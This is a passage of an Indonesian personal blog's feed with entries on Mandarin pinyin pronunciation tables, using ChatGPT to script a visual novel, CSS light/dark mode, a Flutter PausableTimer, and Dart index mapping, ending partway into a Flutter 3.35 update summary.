&lt;td&gt;&lt;em&gt;che&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;se&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Mulut tersenyum, bagian ujung lidah menempel di belakang gigi bawah.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Huruf &lt;strong&gt;c&lt;/strong&gt; mengehembuskan lebih banyak angin daripada huruf &lt;strong&gt;z&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Huruf&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;zh&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;sh&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;r&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lafal&lt;/td&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;td&gt;ch&lt;/td&gt;
&lt;td&gt;sh&lt;/td&gt;
&lt;td&gt;r&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contoh&lt;/td&gt;
&lt;td&gt;&lt;em&gt;ce&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;che&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;she&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;re&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Mulut monyong, bagian ujung lidah menggulung sedikit ke atas.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dan, huruf &lt;strong&gt;ch&lt;/strong&gt; mengehembuskan lebih banyak angin daripada huruf &lt;strong&gt;zh&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;huruf-vokal&quot; tabindex=&quot;-1&quot;&gt;Huruf Vokal&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/#huruf-vokal&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;single-vokal&quot; tabindex=&quot;-1&quot;&gt;Single Vokal&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/#single-vokal&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Huruf&lt;/td&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;o&lt;/td&gt;
&lt;td&gt;e&lt;/td&gt;
&lt;td&gt;i&lt;/td&gt;
&lt;td&gt;u&lt;/td&gt;
&lt;td&gt;ü&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Baca&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Mulut membentuk o dengan vokal i&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;basic-vokal&quot; tabindex=&quot;-1&quot;&gt;Basic Vokal&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/#basic-vokal&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ai&lt;/td&gt;
&lt;td&gt;ei&lt;/td&gt;
&lt;td&gt;ao&lt;/td&gt;
&lt;td&gt;ou&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;an&lt;/td&gt;
&lt;td&gt;en&lt;/td&gt;
&lt;td&gt;er&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ang&lt;/td&gt;
&lt;td&gt;eng&lt;/td&gt;
&lt;td&gt;ong&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;vokal-lanjutan-1&quot; tabindex=&quot;-1&quot;&gt;Vokal Lanjutan 1&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/#vokal-lanjutan-1&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ia&lt;/td&gt;
&lt;td&gt;iao&lt;/td&gt;
&lt;td&gt;ie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iu&lt;/td&gt;
&lt;td&gt;ian&lt;/td&gt;
&lt;td&gt;in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iang&lt;/td&gt;
&lt;td&gt;ing&lt;/td&gt;
&lt;td&gt;iong&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ia&lt;/th&gt;
&lt;th&gt;iao&lt;/th&gt;
&lt;th&gt;ie&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;ie&amp;quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;iu&lt;/th&gt;
&lt;th&gt;ian&lt;/th&gt;
&lt;th&gt;in&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;i+ou&lt;/td&gt;
&lt;td&gt;i+e&amp;quot;n&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;vokal-lanjutan-2&quot; tabindex=&quot;-1&quot;&gt;Vokal Lanjutan 2&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/#vokal-lanjutan-2&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ua&lt;/td&gt;
&lt;td&gt;uo&lt;/td&gt;
&lt;td&gt;uai&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ui&lt;/td&gt;
&lt;td&gt;uan&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;un&lt;/td&gt;
&lt;td&gt;uang&lt;/td&gt;
&lt;td&gt;ueng&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ui&lt;/th&gt;
&lt;th&gt;uan&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;u+e&amp;quot;i&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;un&lt;/th&gt;
&lt;th&gt;uang&lt;/th&gt;
&lt;th&gt;ueng&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;u+en&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;üe&lt;/th&gt;
&lt;th&gt;üan&lt;/th&gt;
&lt;th&gt;ün&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;ü+e&amp;quot;n&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content>
	</entry>
	<entry>
		<title>Script Skenario yang Dibuat ChatGPT saat Saya Bosan</title>
		<link href="https://hariswah.idin.my.id/blog/script-skenario-yang-dibuat-chatgpt-saat-saya-bosan/"/>
		<updated>2025-10-03T18:13:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/script-skenario-yang-dibuat-chatgpt-saat-saya-bosan/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;p&gt;Rasanya bosan di awal malam akhir &lt;em&gt;weekday&lt;/em&gt; ini, biasanya Saya bakal habiskan beberapa jam untuk main &lt;em&gt;game&lt;/em&gt; yang belum sempat saya tamatkan.
Saya putuskan untuk menulis dan dibaca ulang besok.&lt;/p&gt;
&lt;p&gt;Saat mencari bahasan yang menarik, Saya agak &lt;em&gt;OCD&lt;/em&gt; sama isi kategori &lt;em&gt;Game Development&lt;/em&gt;, yang cuma satu artikel, judulnya &amp;quot;Asyiknya &lt;em&gt;Game Development 2D&lt;/em&gt; Menggunakan &lt;em&gt;HTML&lt;/em&gt;&amp;quot; (judul bisa berubah menurut kemauan Saya &lt;em&gt;haha&lt;/em&gt;).
Artikel apa yang bisa Saya buat untuk menemani satu artikel ini pikir Saya.&lt;/p&gt;
&lt;p&gt;Lalu terpikir kalau memang bikin &lt;em&gt;game&lt;/em&gt; pakai &lt;em&gt;HTML&lt;/em&gt; asyik, kenapa enggak bikin saja, tapi Saya hanya mau yang mudah saja.
&lt;em&gt;Visual Novel&lt;/em&gt; pikirku.&lt;/p&gt;
&lt;p&gt;Entah proses apa yang mau diceritakan, Saya &lt;em&gt;skip&lt;/em&gt; ke bagian yang paling sulitnya, yaitu &lt;em&gt;asset&lt;/em&gt; gambarnya.
Saat pencarian, dapat &lt;em&gt;asset Naruto&lt;/em&gt; dari &lt;em&gt;website&lt;/em&gt; penyedia &lt;em&gt;spritesheet&lt;/em&gt; yang saat remaja dulu sering Saya kunjungi, inilah yang Saya suka.&lt;/p&gt;
&lt;p&gt;Setelah pilih-pilih dan terkumpul &lt;em&gt;asset&lt;/em&gt; gambarnya, barulah saatnya &lt;em&gt;ChatGPT&lt;/em&gt; beraksi.&lt;/p&gt;
&lt;p&gt;Saya minta 1000 percakapan untuk tiap karakter dengan masing-masing mimik, hasilnya bagus sekali.&lt;/p&gt;
&lt;p&gt;Terus Saya minta lagi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Suasana percakapan, untuk pilih &lt;em&gt;background&lt;/em&gt;-nya&lt;/li&gt;
&lt;li&gt;Lagu yang pas juga, harus &lt;em&gt;official&lt;/em&gt; supaya &lt;em&gt;bring back memories haha&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Dibuatkan juga nama-nama &lt;em&gt;scene&lt;/em&gt;-nya&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Berjam-jam Saya &lt;em&gt;enjoy&lt;/em&gt; nge-&lt;em&gt;prompt&lt;/em&gt;.
Singkat cerita Saya gagal dapet &lt;em&gt;JSON file&lt;/em&gt;-nya, jadi sebentar saja Saya rapikan semua data tadi jadi skenario yang bentuknya &lt;em&gt;JSON&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Kelar di jam 00.25 lalu Saya sempatkan untuk menulis &lt;em&gt;blog&lt;/em&gt; ini karena dari awal memang tujuannya menulis padahal mata sudah sepet.&lt;/p&gt;
&lt;p&gt;Bosan yang meneror berubah menjadi panggilan malam untuk tidur. &lt;em&gt;Good night. See you&lt;/em&gt;.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Implementasi Light dan Dark Mode di Web itu Mudah</title>
		<link href="https://hariswah.idin.my.id/blog/implementasi-light-dan-dark-mode-di-web-itu-mudah/"/>
		<updated>2025-10-02T15:40:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/implementasi-light-dan-dark-mode-di-web-itu-mudah/</id>
		<language>id-ID</language>
			<category term ="Web Development" />
		<content type="html">&lt;h2 id=&quot;pendahuluan&quot; tabindex=&quot;-1&quot;&gt;Pendahuluan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/implementasi-light-dan-dark-mode-di-web-itu-mudah/#pendahuluan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sudah umum kalau device terkini memiliki fitur light dan dark mode terpasang di operating system bawaan.&lt;/p&gt;
&lt;h2 id=&quot;masalah&quot; tabindex=&quot;-1&quot;&gt;Masalah&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/implementasi-light-dan-dark-mode-di-web-itu-mudah/#masalah&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tapi terkadang fitur ini masih belum kita bisa temukan di website yang kita kunjungi disaat diperlukan.&lt;/p&gt;
&lt;h2 id=&quot;solusi&quot; tabindex=&quot;-1&quot;&gt;Solusi&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/implementasi-light-dan-dark-mode-di-web-itu-mudah/#solusi&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tahukah kamu kalau pemasangan fitur light dan dark mode itu tidak mudah, berikut cara implementasinya.&lt;/p&gt;
&lt;p&gt;Pilih satu di antara beberapa value yang tersedia berikut:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;color-scheme: normal; // relatif terhadap OS
color-scheme: light; // hanya light mode
color-scheme: dark; // hanya dark mode
color-scheme: light dark; // wajib untuk menggunakan fungsi light-dark()
color-scheme: only light; // memaksa light mode terhadap setelan browser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Berikut cara implementasi lengkapnya:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:root {
  color-scheme: light dark;
}
@media (prefers-color-scheme: light) {
  .element {
    color: black;
    background-color: white;
  }
}
@media (prefers-color-scheme: dark) {
  .element {
    color: white;
    background-color: black;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sebagai alternatif agar kode lebih singkat, bisa menggunakan:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;color: light-dark(black, white);
background-color: light-dark(white, black);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cara alternatif adalah yang terbaru, yaitu tahun 2024 dibanding cara pertama yaitu di pertengahan 2019.&lt;/p&gt;
&lt;p&gt;Namun menurut saya sedikit lebih menyusahkan untuk di-maintenance, karena kode warnanya bersebelahan jadi rawan untuk salah edit.&lt;/p&gt;
&lt;p&gt;Kalian bisa cek compatibility css &lt;code&gt;color-scheme&lt;/code&gt; di &lt;a href=&quot;https://caniuse.com/?search=color-scheme&quot;&gt;Can I Use&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;daftar-pustaka&quot; tabindex=&quot;-1&quot;&gt;Daftar Pustaka:&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/implementasi-light-dan-dark-mode-di-web-itu-mudah/#daftar-pustaka&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/color-scheme&quot;&gt;MDN&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	<entry>
		<title>Implementasi Timer yang Bisa Pause dengan PausableTimer di Flutter</title>
		<link href="https://hariswah.idin.my.id/blog/implementasi-timer-yang-bisa-pause-dengan-pausabletimer-di-flutter/"/>
		<updated>2025-10-02T00:58:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/implementasi-timer-yang-bisa-pause-dengan-pausabletimer-di-flutter/</id>
		<language>id-ID</language>
			<category term ="Mobile Development" />
		<content type="html">&lt;p&gt;Normalnya kita mengimplementasi &lt;code&gt;Timer&lt;/code&gt; di Flutter sebagai berikut:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var counter = 3;
Timer.periodic(const Duration(seconds: 2), (timer) {
  print(timer.tick);
  counter--;
  if (counter == 0) {
    print(&#39;Cancel timer&#39;);
    timer.cancel();
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;timer-tidak-memiliki-pause&quot; tabindex=&quot;-1&quot;&gt;Timer tidak memiliki pause()&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/implementasi-timer-yang-bisa-pause-dengan-pausabletimer-di-flutter/#timer-tidak-memiliki-pause&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bayangkan saat membuat &lt;em&gt;stopwatch&lt;/em&gt; yang nilainya didapat dari mengubah &lt;code&gt;Duration&lt;/code&gt; yang telah ditempuh &lt;code&gt;Timer&lt;/code&gt; ke &lt;code&gt;String&lt;/code&gt;, tentu memerlukan &lt;em&gt;variable&lt;/em&gt; untuk menyimpannya.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Timer&lt;/code&gt; bawaan Flutter tidak bisa ditunda untuk dilanjutkan pada &lt;em&gt;event&lt;/em&gt; selanjutnya.&lt;/p&gt;
&lt;h2 id=&quot;pausabletimer&quot; tabindex=&quot;-1&quot;&gt;PausableTimer&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/implementasi-timer-yang-bisa-pause-dengan-pausabletimer-di-flutter/#pausabletimer&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Solusinya adalah dengan menggunakan &lt;em&gt;package&lt;/em&gt; &lt;a href=&quot;https://pub.dev/packages/pausable_timer&quot;&gt;PausableTimer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;PausableTimer&lt;/code&gt; memiliki beragam &lt;em&gt;API&lt;/em&gt; yang lebih lengkap daripada &lt;code&gt;Timer&lt;/code&gt; bawaan.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Method&lt;/strong&gt; yang tersedia:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;start()&lt;/code&gt;: Untuk menjalankan &lt;em&gt;timer&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pause()&lt;/code&gt;: Untuk menjeda &lt;em&gt;timer&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reset()&lt;/code&gt;: Untuk memulai ulang, perlu di-&lt;code&gt;start()&lt;/code&gt; lagi agar &lt;em&gt;timer&lt;/em&gt; jalan&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cancel()&lt;/code&gt;: Untuk menghentikan, &lt;em&gt;timer&lt;/em&gt; tidak bisa dijalankan lagi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Option&lt;/strong&gt; tersedia yang juga berfungsi sesuai namanya:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;duration &amp;lt;Duration&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;elapsed &amp;lt;Duration&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tick &amp;lt;int&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;isPaused &amp;lt;bool&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;isActive &amp;lt;bool&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;isExpired &amp;lt;bool&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;isCancelled &amp;lt;bool&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Berikut adalah contoh implementasinya:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &#39;dart:async&#39;;
import &#39;package:pausable_timer/pausable_timer.dart&#39;;

void main() async {
  // We make it &amp;quot;late&amp;quot; to be able to use the timer in the timer&#39;s callback.
  late final PausableTimer timer;
  var countDown = 5;

  print(&#39;Create a periodic timer that fires every 1 second and starts it&#39;);
  timer = PausableTimer.periodic(
    Duration(seconds: 1),
        () {
      countDown--;

      if (countDown == 0) {
        timer.pause();
      }

      print(&#39;\t$countDown&#39;);
    },
  )..start();

  print(&#39;And wait 2.1 seconds...&#39;);
  print(&#39;(0.1 extra to make sure there is no race between the timer and the &#39;
      &#39;waiting here)&#39;);
  await Future&amp;lt;void&amp;gt;.delayed(timer.duration * 2.1);
  print(&#39;By now 2 events should have fired: 4, 3\n&#39;);

  print(&#39;We can pause it now&#39;);
  timer.pause();

  print(&#39;And we wait for 2 more seconds...&#39;);
  await Future&amp;lt;void&amp;gt;.delayed(timer.duration * 2);
  print(&amp;quot;But our timer doesn&#39;t care while it&#39;s paused\n&amp;quot;);

  print(&#39;So we start it again&#39;);
  timer.start();
  print(&#39;And wait for 3.1 seconds more...&#39;);
  await Future&amp;lt;void&amp;gt;.delayed(timer.duration * 3.1);
  print(&#39;And we are done: 2, 1 and 0 should have been printed&#39;);

  print(&#39;The timer should be unpaused, inactive, expired and not cancelled&#39;);
  print(&#39;isPaused: ${timer.isPaused}&#39;);
  print(&#39;isActive: ${timer.isActive}&#39;);
  print(&#39;isExpired: ${timer.isExpired}&#39;);
  print(&#39;isCancelled: ${timer.isCancelled}&#39;);

  print(&#39;We can now reset it and start it again, now for 3 seconds&#39;);
  countDown = 3;
  timer
    ..reset()
    ..start();
  print(&#39;And wait for 3.1 seconds...&#39;);
  await Future&amp;lt;void&amp;gt;.delayed(timer.duration * 3.1);
  print(&#39;And it should be done printing: 2, 1 and 0&#39;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Begitulah cara menggunakan &lt;em&gt;timer&lt;/em&gt; yang dapat di-&lt;em&gt;pause&lt;/em&gt; di Flutter.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Cara Mapping dengan Index di Dart</title>
		<link href="https://hariswah.idin.my.id/blog/cara-mapping-dengan-index-di-dart/"/>
		<updated>2025-10-01T04:49:00+07:00</updated>
		<id>https://hariswah.idin.my.id/blog/cara-mapping-dengan-index-di-dart/</id>
		<language>id-ID</language>
			<category term ="Programming" />
		<content type="html">&lt;p&gt;Dari yang kita tahu, atau ada di antara kalian yang belum tahu, bahwa sampai saat ini Dart belum memiliki fungsi map yang memberikan index.&lt;/p&gt;
&lt;p&gt;Pada saat ini kita menggunakan fungsi map untuk perulangan sebagai berikut:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.map((&amp;lt;T&amp;gt;item) =&amp;gt; Item)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Hanya diberikan satu parameter, tanpa adanya parameter index.&lt;/p&gt;
&lt;p&gt;Masalah akan muncul saat ingin menggunakan index dari fungsi map yang one-liner, misalnya digunakan dalam Widget Flutter.&lt;/p&gt;
&lt;p&gt;Jadi selama menunggu tim open-source Dart untuk mengimplementasinya, saat ini solusinya untuk Flutter adalah memasang package mapIterable, yang kegunaannya sebagai berikut:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.mapIterable((int index, &amp;lt;T&amp;gt;item) =&amp;gt; &amp;quot;$index. ${item.name}&amp;quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Barulah bisa mendapatkan dua parameter, yaitu parameter index dan item.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Saya Rangkum Update Flutter 3.35: Hot Reload di Web!</title>
		<link href="https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/"/>
		<updated>2025-09-30T10:37:00+07:00</updated>
		<id>https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/</id>
		<language>id-ID</language>
			<category term ="Mobile Development" />
		<content type="html">&lt;h2 id=&quot;pendahuluan&quot; tabindex=&quot;-1&quot;&gt;Pendahuluan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#pendahuluan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pada update Flutter 3.35 ini terdapat 1.108 commit dari 168 contributor, 39 diantaranya baru bergabung.&lt;/p&gt;
&lt;h2 id=&quot;web&quot; tabindex=&quot;-1&quot;&gt;Web&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#web&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;hot-reload-di-web-aktif-secara-default&quot; tabindex=&quot;-1&quot;&gt;Hot reload di web aktif secara default&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#hot-reload-di-web-aktif-secara-default&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Hot reload untuk development web sekarang sudah tersedia sebagai fitur experimental. Sebelumnya, aktifasi memerlukan flag &lt;code&gt;--web-experimental-hot-reload&lt;/code&gt; saat debug. Untuk menonaktifkan, gunakan flag &lt;code&gt;--no-web-experimental-hot-reload&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;wasm-dengan-dry-run&quot; tabindex=&quot;-1&quot;&gt;Wasm dengan dry run&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#wasm-dengan-dry-run&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Setiap JS yang dibuild kini memberlakukan &amp;quot;dry run&amp;quot;, sebagai antisipasi penggunaan default WebAssembly (Wasm) untuk target build ke web. Fitur dapat disetel dengan flag &lt;code&gt;--(no-)wasm-dry-run&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;framework&quot; tabindex=&quot;-1&quot;&gt;Framework&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#framework&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;peningkatan-accessibility&quot; tabindex=&quot;-1&quot;&gt;Peningkatan accessibility&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#peningkatan-accessibility&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Web semantic&lt;/strong&gt;&lt;/p&gt;
